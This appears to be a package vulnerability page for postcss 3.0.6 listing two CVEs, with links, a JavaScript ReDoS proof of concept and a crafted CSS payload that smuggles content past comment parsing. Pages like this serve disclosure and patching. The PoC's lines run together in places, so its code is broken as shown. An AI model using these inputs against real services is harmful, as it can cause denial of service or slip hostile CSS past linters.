NodeJS/postcss/3.0.6
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
2 Security Vulnerabilities
Regular Expression Denial of Service in postcss
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
- https://github.com/advisories/GHSA-566m-qj78-rww5
- https://github.com/postcss/postcss/releases/tag/7.0.36
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
regex
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
- https://nvd.nist.gov/vuln/detail/CVE-2023-44270
- https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
- https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
- https://github.com/postcss/postcss/releases/tag/8.4.31
- https://github.com/advisories/GHSA-7fh5-64p2-3v2j
- https://github.com/github/advisory-database/issues/2820
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
252 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
7.0.31 | MIT | 3 | 2020-05-26 - 02:13 | almost 4 years |
7.0.30 | MIT | 3 | 2020-05-11 - 14:00 | about 4 years |
7.0.29 | MIT | 3 | 2020-05-04 - 14:16 | about 4 years |
7.0.28 | MIT | 3 | 2020-05-02 - 14:40 | about 4 years |
7.0.27 | MIT | 3 | 2020-02-18 - 02:59 | over 4 years |
7.0.26 | MIT | 3 | 2019-12-31 - 00:11 | over 4 years |
7.0.25 | MIT | 3 | 2019-12-16 - 19:16 | over 4 years |
7.0.24 | MIT | 3 | 2019-12-06 - 18:54 | over 4 years |
7.0.23 | MIT | 3 | 2019-11-18 - 22:36 | over 4 years |
7.0.22 | MIT | 3 | 2019-11-18 - 22:29 | over 4 years |
7.0.21 | MIT | 3 | 2019-10-25 - 15:55 | over 4 years |
7.0.20 | MIT | 3 | 2019-10-24 - 15:12 | over 4 years |
7.0.19 | MIT | 3 | 2019-10-24 - 12:44 | over 4 years |
7.0.18 | MIT | 3 | 2019-09-05 - 23:20 | over 4 years |
7.0.17 | MIT | 3 | 2019-06-05 - 16:38 | almost 5 years |
7.0.16 | MIT | 3 | 2019-05-04 - 18:59 | about 5 years |
7.0.15 | MIT | 3 | 2019-05-04 - 05:42 | about 5 years |
7.0.14 | MIT | 3 | 2019-01-22 - 14:16 | over 5 years |
7.0.13 | MIT | 3 | 2019-01-15 - 18:09 | over 5 years |
7.0.12 | MIT | 3 | 2019-01-15 - 16:33 | over 5 years |
7.0.11 | MIT | 3 | 2019-01-12 - 16:14 | over 5 years |
7.0.10 | MIT | 3 | 2019-01-11 - 20:15 | over 5 years |
7.0.9 | MIT | 3 | 2019-01-11 - 14:18 | over 5 years |
7.0.8 | MIT | 3 | 2019-01-08 - 12:04 | over 5 years |
7.0.7 | MIT | 3 | 2018-12-17 - 02:04 | over 5 years |
7.0.6 | MIT | 3 | 2018-11-18 - 01:34 | over 5 years |
7.0.5 | MIT | 3 | 2018-10-02 - 13:14 | over 5 years |
7.0.4 | MIT | 3 | 2018-09-27 - 06:17 | over 5 years |
7.0.3 | MIT | 3 | 2018-09-25 - 22:20 | over 5 years |
7.0.2 | MIT | 3 | 2018-07-30 - 18:16 | almost 6 years |
7.0.1 | MIT | 3 | 2018-07-20 - 02:51 | almost 6 years |
7.0.0 | MIT | 3 | 2018-07-16 - 19:03 | almost 6 years |
6.0.23 | MIT | 2 | 2018-06-21 - 18:43 | almost 6 years |
6.0.22 | MIT | 2 | 2018-04-28 - 05:21 | about 6 years |
6.0.21 | MIT | 2 | 2018-03-22 - 18:39 | about 6 years |
6.0.20 | MIT | 2 | 2018-03-17 - 01:57 | about 6 years |
6.0.19 | MIT | 2 | 2018-02-17 - 22:32 | over 6 years |
6.0.18 | MIT | 2 | 2018-02-15 - 11:48 | over 6 years |
6.0.17 | MIT | 2 | 2018-02-01 - 19:56 | over 6 years |
6.0.16 | MIT | 2 | 2018-01-06 - 02:44 | over 6 years |
6.0.15 | MIT | 2 | 2018-01-02 - 01:19 | over 6 years |
6.0.14 | MIT | 2 | 2017-11-02 - 13:51 | over 6 years |
6.0.13 | MIT | 2 | 2017-10-04 - 14:09 | over 6 years |
6.0.12 | MIT | 2 | 2017-09-25 - 07:22 | over 6 years |
6.0.11 | MIT | 2 | 2017-09-06 - 06:00 | over 6 years |
6.0.10 | MIT | 2 | 2017-08-27 - 10:00 | over 6 years |
6.0.9 | MIT | 2 | 2017-08-11 - 20:57 | almost 7 years |
6.0.8 | MIT | 2 | 2017-07-19 - 16:01 | almost 7 years |
6.0.7 | MIT | 2 | 2017-07-17 - 15:16 | almost 7 years |
6.0.6 | MIT | 2 | 2017-07-05 - 16:33 | almost 7 years |
6.0.5 | MIT | 2 | 2017-07-03 - 11:18 | almost 7 years |
6.0.4 | MIT | 2 | 2017-06-30 - 11:39 | almost 7 years |
6.0.3 | MIT | 2 | 2017-06-23 - 19:17 | almost 7 years |
6.0.2 | MIT | 2 | 2017-06-12 - 18:47 | almost 7 years |
6.0.1 | MIT | 2 | 2017-05-07 - 11:37 | about 7 years |
6.0.0 | MIT | 2 | 2017-05-06 - 11:44 | about 7 years |
5.2.18 | MIT | 2 | 2017-10-04 - 13:48 | over 6 years |
5.2.17 | MIT | 2 | 2017-04-13 - 22:57 | about 7 years |
5.2.16 | MIT | 2 | 2017-03-07 - 15:51 | about 7 years |
5.2.15 | MIT | 2 | 2017-02-22 - 12:00 | about 7 years |
5.2.14 | MIT | 2 | 2017-02-17 - 09:03 | over 7 years |
5.2.13 | MIT | 2 | 2017-02-14 - 11:19 | over 7 years |
5.2.12 | MIT | 2 | 2017-02-05 - 21:32 | over 7 years |
5.2.11 | MIT | 2 | 2017-01-20 - 08:48 | over 7 years |
5.2.10 | MIT | 2 | 2017-01-12 - 07:51 | over 7 years |
5.2.9 | MIT | 2 | 2017-01-09 - 07:15 | over 7 years |
5.2.8 | MIT | 2 | 2016-12-26 - 08:08 | over 7 years |
5.2.7 | MIT | 2 | 2016-12-24 - 08:46 | over 7 years |
5.2.6 | MIT | 2 | 2016-11-22 - 12:55 | over 7 years |
5.2.5 | MIT | 2 | 2016-10-20 - 12:26 | over 7 years |
5.2.4 | MIT | 2 | 2016-09-30 - 05:20 | over 7 years |
5.2.3 | MIT | 2 | 2016-09-29 - 09:50 | over 7 years |
5.2.2 | MIT | 2 | 2016-09-26 - 12:58 | over 7 years |
5.2.1 | MIT | 2 | 2016-09-26 - 12:11 | over 7 years |
5.2.0 | MIT | 2 | 2016-09-07 - 04:29 | over 7 years |
5.1.2 | MIT | 2 | 2016-08-06 - 18:02 | almost 8 years |
5.1.1 | MIT | 2 | 2016-07-26 - 09:03 | almost 8 years |
5.1.0 | MIT | 2 | 2016-07-12 - 16:39 | almost 8 years |
5.0.21 | MIT | 2 | 2016-05-02 - 16:12 | about 8 years |
5.0.20 | MIT | 2 | 2016-05-01 - 06:09 | about 8 years |
5.0.19 | MIT | 2 | 2016-03-02 - 18:51 | about 8 years |
5.0.18 | MIT | 2 | 2016-02-29 - 08:33 | about 8 years |
5.0.17 | MIT | 2 | 2016-02-26 - 16:10 | about 8 years |
5.0.16 | MIT | 2 | 2016-02-14 - 08:54 | over 8 years |
5.0.15 | MIT | 2 | 2016-02-11 - 14:22 | over 8 years |
5.0.14 | MIT | 2 | 2016-01-03 - 21:47 | over 8 years |
5.0.13 | MIT | 2 | 2015-12-16 - 14:01 | over 8 years |
5.0.12 | MIT | 2 | 2015-11-13 - 15:27 | over 8 years |
5.0.11 | MIT | 2 | 2015-11-07 - 14:03 | over 8 years |
5.0.10 | MIT | 2 | 2015-10-14 - 23:46 | over 8 years |
5.0.9 | MIT | 2 | 2015-10-08 - 18:32 | over 8 years |
5.0.8 | MIT | 2 | 2015-09-25 - 11:16 | over 8 years |
5.0.7 | MIT | 2 | 2015-09-25 - 10:33 | over 8 years |
5.0.6 | MIT | 2 | 2015-09-21 - 16:42 | over 8 years |
5.0.5 | MIT | 2 | 2015-09-12 - 10:36 | over 8 years |
5.0.4 | MIT | 2 | 2015-09-01 - 18:24 | over 8 years |
5.0.3 | MIT | 2 | 2015-08-28 - 22:04 | over 8 years |
5.0.2 | MIT | 2 | 2015-08-22 - 14:25 | over 8 years |
5.0.1 | MIT | 2 | 2015-08-20 - 21:34 | over 8 years |
5.0.0 | MIT | 2 | 2015-08-19 - 19:11 | almost 9 years |